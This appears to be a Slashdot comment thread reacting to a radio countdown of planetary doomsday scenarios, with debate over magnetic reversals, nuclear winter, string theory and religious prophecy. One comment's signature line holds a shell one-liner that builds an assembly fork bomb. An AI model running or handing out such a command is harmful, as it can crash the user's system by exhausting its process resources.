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This Is the Way the World Ends
Dave Knott writes "The CBC's weekly science radio show Quirks and Quarks this week features a countdown of the top ten planetary doomsday scenarios. Nine science professors and one science fiction author are asked to give (mostly) realistic hypotheses of the ways in which the planet Earth and its inhabitants can be destroyed. These possibilities for mankind's extinction include super-volcanoes, massive gamma ray bursts, and everybody's favorite, the killer asteroid. Perhaps the most terrifying prediction is the reversal of the Earth's magnetic field (combined with untimely solar activity), a periodic event which is currently 1/4 million years overdue."
not a single one of them even considered the possibility of streams getting crossed...for shame!
Monstar L
I always love it when people say these things. Point of fact, we don't have enough data points to make this prediction. At best, that's a wild conjecture.
no interstellar bypass?
Media that can be recorded and distributed can be recorded and distributed.
-kfg
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
No, more likely, the world (or more precisely Humanity, the planet would do better without than with us on it) will slip back to feudalism as cheap energy resources wane, and a sizable portion of the earth population will be destroyed by an ugly, multi-decade, low-level world war fueled by bigotry and poverty.
Unless we get nuclear winter, and plants cannot grow anymore- no more food. Or radiation levels become so high that people die before reaching adulthood or cannot reproduce.
The conventional bombs we have to detonate to kill a couple of people are peanuts compared to MIRV missiles with 10 warheads each having 0.5 MT yield. And we have thousands of these.
I know there are lots of humans all over the place, but global thermonuclear war could have enough effect on the biosphere to render it unlivable.
--Coder
Perhaps the most terrifying prediction is the reversal of the Earth's magnetic field (combined with untimely solar activity), a periodic event which is currently 1/4 million years overdue.
From the record of paleomagnetism found in spreading ocean floors, the reversals are anything but periodic. Reversals recur, but the interval between reversals can be less than 25 thousand years, or longer than 35 million years. In other words, the intervals between reversals vary in duration by a factor of more than 1000.
The oceanic record is limited to the last 200 million years, at most. It has been extended further back by correlating measurements from continental rocks formed at different times, and relying on models for tectonic drift. This naturally yields inferences with lower confidence and limited time resolution. However, the results suggest that geomagnetic field has occasionally been stable for more than 50 million years at a time.
http://en.wikipedia.org/wiki/Magnetic_reversal
Given that their occurrence is erratic rather than periodic, and that there is no decent model for predicting their occurrence, the assertion that a magnetic reversal is "overdue" is absurd.
The scaremongering that a reversal would lead to "the end of the world" or mass extinctions is equally puerile. Reversals of the geomagnetic field show no particular correlation with extinctions in the past.
Those who can make you believe absurdities can make you commit atrocities. - Voltaire
I dunno, I don't think a "few" bombs going off would be as devastating as you think. Hell, if a "few" bombs could irradiate the ocean, the ocean would already be dead because that's where most nuclear testing took place.
As for actual damage, even the Tzar Bomba only did damage up to 620 miles away. That's a lot of destructive power, but it'd still take more than a few of them to really fuck things up. After a few hundred miles from the drop zone it was mostly just breaking windows.
I think the biggest threat of nuclear war isn't a few bombs, but the "mutually assured destruction" scenarios where everybody just says "fuck it" and just launches all of their nukes at everybody else. In that case you're looking at thousands of nukes aimed specifically at cities.
Even the most retarded religious fundamentalist understands that dropping a nuclear bomb on someone who has one, or has a country which has one for a friend, isn't such a bright idea.
snip
Even actually been to the middle east ?
Some of the fundamentalists BELIEVE in their god. They don't care if they all die, so long as they go to heaven.
That's just neocon propaganda. In reality the governments of Iran and North Korea are made up of rational people who will always act in their countries' long term best interests despite their rhetoric. They are totally unlike the US government which will screw up and start wars because of the sort term interest of the ruling class and/or a miscalculation and plunge the world into chaos.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm sure you haven't.
Some of the fundamentalists BELIEVE in their god. They don't care if they all die, so long as they go to heaven.
Right. And you know this how? The Saudis are rich enough to have bought all the nukes they wanted (from Pakistan, North Korea, say). And they're as devout as they come. But they haven't sent us all to paradise/hell.
Funny thing, fundamentalist leaders don't sacrifice themselves. And that goes for Muslims as well as Christians and Communists.
The world population is increasing exponentially. Nothing increases exponentially in a limited environment, so the most likely scenario is that we will simply continue growing our consumption until we run out of the resources which allow the growth. oil, water, energy etc. Then the carrying capacity of the earth will be drastically reduced and with that goes the number of living things. In the final stages of growth humans will displace most other lifeforms which compete for resources.
You could use yeast in a bottle as an example. It grows until all the sugar is consumed, or alcohol level is too high, then it all just dies off.
Our bottle is simply larger.
Deleted
Also from the most recent material I have read the threat of a "nuclear winter" was a gross beat up. We have had multiple volcanic events that discharged more particles into the atmosphere than would happen with optimal usage of warheads to cause a "nuclear winter"
In a serious nuclear war you can get a lot more material into the air than that. Here is some very recent analysis on the subject, using one of the latest climate models. (Try this paper and this one.) This research group also does work on volcanic events, which the model's response has been tested on. They find that even a regional Indian-Pakistan exchange, each country using 50 Hiroshima-sized bombs, can have pretty significant global climate impacts (almost 1.5 C cooling). They do assume an "optimal" scenario, where the bombs are aimed at the highest population centers, causing maximum burning and thus particulate emission. The "winter" only hangs around for a decade or two, but it's worse for a "full scale" MAD scenario.
For the full "global thermonuclear war" scenario, they see cooling of up to 30 C (~ 60 F) over some regions! The global temperature drops by 8 C, which is colder than an ice age. It doesn't last long enough to form continental ice sheets, of course. But sticking around for a decade or two is Very Bad for plant life and the animals which depend on it. (And this is just the temperature effect, not counting the reduced sunlight for photosynthesis, any burned vegetation outside cities, effects of fallout, etc.)
A full nuclear exchange during the Cold War would have involved up to 10 gigatons of explosives. Even very large volcanic eruptions like Thera were only 0.5-1 gigatons (and I suspect that burning cities would emit more particulate matter). World War III wouldn't have been a Dinosaur Killer, and it wouldn't have sterilized the planet, but it would have had damn large effects on the biosphere.
Thus far, there has been no good proof that there's any sort of reality in it.
Pretty much all the studies in your link conclude that there is reality to "nuclear winter", if by that you mean "significant cooling as a result of a large nuclear exchange". What's contested is mostly how much smoke there would actually be. Compared to that, the climatic effects of particulate matter in the atmosphere are relatively well understood. A few people criticized the early models which assumed that the atmospheric doesn't respond dynamically (note your link was published 20 years ago). Modern models which have dynamical circulation bear out the same results (e.g., here). The weak link remains assumptions about what gets injected into the air, not the models themselves. You can get very large variations in particulate emissions if you tweak your assumptions about how the war plays out.
Don't confuse scientists speculating on things with real empiricism. There's lots of interesting ideas and theories, something with mathematical or computer models to back them up. That doesn't mean any of it has a thing to do with reality.
Large climatic effects from particulate emissions are pretty much undeniable. You don't need a fancy theory or model to know that. Particles of that size reflect sunlight. And lo, we see it happen from volcanoes. We even know how much particulate matter the volcanoes emit. The models reproduce the observed volcanic climate effects.
The main uncertainty, as I said, is in how much burning will take place.
String theory would be a good example.
Sigh.
String theory is not a good analogy. While there may be uncertainty about nuclear winter, there is still vastly more experimental evidence underlying our understanding of particulate emissions and atmospheric circulation models than there is about string theory. Comparing the former to the most theoretical of all theoretical physics is grossly exaggerating for effect. The two levels of uncertainty are not comparable.
It is, in fact, not a theory. It makes no testable prediction.
Both those statements are false.
People always try to compare string theory to a model of particle physics like the Standard Model. That's not the right comparison. String theory is a theoretical framework. The correct comparison is to quantum field theory in general.
"Quantum field theory" makes very few testable predictions, because it makes no assumptions about what particles exist or how they interact. To make predictions, you have to construct a specific model within QFT, such as the Standard Model. That is, you have to say that quarks and leptons exist, there are three forces whose interactions take a particular form, etc.
String theory is a theory in the same sense quantum field theory is: they are both frameworks in which you can write down predictive models. String theory by itself doesn't say much other than particles are made of strings. To make predictions, you have to write down a specific model. And you can write down something like the Standard Model (or one of its GUT generalizations) in string theory. It will make the same predictions as the SM in low energy regimes.
The problem with string theory is not that it doesn't make testable predictions. It's just as predictive as QFT is; in fact, QFT is just a limiting case of string theory, so any prediction you make in low energy QFT, you can make in string theory. And its predictions are certainly testable, because you can write down string models that are demonstrably false (the same is true of QFT models, such as all models before the Standard Model). It's hard to think of an experiment that could falsify all possible string models, but the same is true of one that could falsify all possible quantum field theories.
The
I would vote for the LHC, cuz I saw this totally scary video on Youtube that explained how the LHC was going to create a doorway for Satan. Seriously.
And hey, if you're going to include a science fiction, why not include a couple biblical/religious predictions? I for one, welcome our 6-winged Seraphim overlords...
Now that I think about it, I'm pretty sure everything I just said is completely wrong.
Has anyone else heard such a thing? Or is the local evangelical pastor mixing up his Mayan and Biblical eschatologies?
Possibly. Most people, particularly bible-thumpers, have a problem with rational thinking in general. I am a Christian and I believe in "prophecy" but I know the difference between my faith and my "provable knowledge," and more importantly I know the difference between what our faith really teaches and what the "conventional wisdom" might be.
In other words, and to answer your question, there are several ways to get to 2012 in Christian eschatology. Most of this stems from the "rebirth of Israel" in 1949 and some things Christ said about His return which puts us within a decade or so of some events that will supposedly take 7 years to complete, significant milestones midway, and depending on certain calculations involving the Passover, you can get there. There is no formal connection to the Maya, but I doubt anyone who believes this would listen to you. Once you've heard a pastor talk about how many letters are in the 'Reagan,' UPC barcodes, or that Obama is going to lead a Muslim revolution, you tune out. A Christian business owner I know of once even switched from Unix to Windows because he watched a consultant type 'chmod 666.'
As soon as a Christian begins listening to their local 'inspired' pastor, watching the Discovery/History channel, reading Bible Codes, the "Left Behind" series, and throwing out logic and reason and indulging in magical thinking in general, all hope is lost for them making any sense. I don't know about your inlaws, but the 2012 stuff seems to fall into this category for me.
There IS a "star" that falls in the Revelation to John. It does "poison the waters" and it is called "wormwood." I don't really know what all that means, but it is clear that it is NOT the "end of the world" and there is absolutely NO reason to assume that it will happen in our lifetimes, or in 2012 for that matter. People who say things like that have abandoned reason, which is (according to Wesley) one of the four key paths to working out your personal theology.
Which is NOT to say that believing these (or some of these) prophecies are true is necessarily irrational. If you KNOW you don't have scientific or empirical proof, YET you still believe that God exists and that he spoke to one of us through a dream/hallucination/vision 2000 years ago, AND you find it consistent with other prophecies (Ezekiel, Isaiah) and things that Christ is supposed to have said, that is perfectly sound reasoning. You may be completely wrong in the end, but there is no logical error here. There are risks with assigning probabilities without all the facts, but hey, that's induction. And being human.
When presented with a choice and there is no proof either way (such as 'is there a God') you can either ignore the question, or make your best, inductive guess. Either position is reasonable.
Contrary to popular opinion around here, religious or philosophical beliefs are not necessarily irrational in themselves. Most of my "religious" beliefs are clearly conclusions I've come to WITHOUT conclusive evidence or proof. Knowing - and acknowledging - this is key. Most inductive reasoning (not mathematical induction) is the same, and is not necessarily illogical or without value. Logic and reason are not orthogonal to faith in a creator, or even a savior. Bible codes, Intelligent Design, "bibliolatry", and the circular reasoning rampant in religion (and of all faiths) are all very much mutually exclusive to sound reason.
Personally, I find the Judeo-Christian prophetic tradition to be very interesting, and required reading if you want to understand the faith(s). The book of Daniel is amazing to me (though technically not a prophecy) and is so amazing the writing has been dated to much later than traditionally held because, in part... it "predicts" the future... and that's impossible.
Let the reader decide.
Prophecy doesn't "predict"